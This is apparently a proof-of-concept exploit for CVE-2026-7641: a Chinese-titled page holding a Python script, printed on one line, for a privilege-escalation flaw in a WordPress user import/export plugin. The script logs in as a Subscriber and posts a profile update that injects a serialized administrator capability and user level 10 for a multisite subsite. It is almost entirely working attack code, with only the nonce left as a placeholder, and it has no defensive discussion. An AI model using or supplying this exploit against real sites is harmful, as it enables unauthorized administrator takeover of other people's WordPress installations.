CVE-2026-7641 WordPress导入导出用户插件权限提升漏洞

import requests # Target configuration target_url = "http://example.com/wp-admin/profile.php" login_url = "http://example.com/wp-login.php" # Attacker credentials (Subscriber level) username = "attacker" password = "password" session = requests.Session() # 1. Login to get authenticated session and nonce login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": target_url } session.post(login_url, data=login_data) # 2. Fetch profile page to retrieve nonce (_wpnonce) profile_page = session.get(target_url) # Note: Real exploit requires parsing HTML to extract '_wpnonce' # For PoC demonstration, assuming nonce is 'EXTRACTED_NONCE_VALUE' nonce = "EXTRACTED_NONCE_VALUE" # 3. Exploit: Update user meta to escalate privileges on Subsite ID 2 # The payload updates the wp_2_capabilities meta key exploit_data = { "_wpnonce": nonce, "_wp_http_referer": "/wp-admin/profile.php", "from": "profile", "checkuser_id": "1", # Serialized Administrator role for subsite ID 2 "wp_2_capabilities": "a:1:{s:13:\"administrator\";b:1;}", "wp_2_user_level": "10", "action": "update", "submit": "Update Profile" } # 4. Send the payload response = session.post(target_url, data=exploit_data) if response.status_code == 200: print("Payload sent. Check if privileges are elevated.") else: print("Failed to send payload.")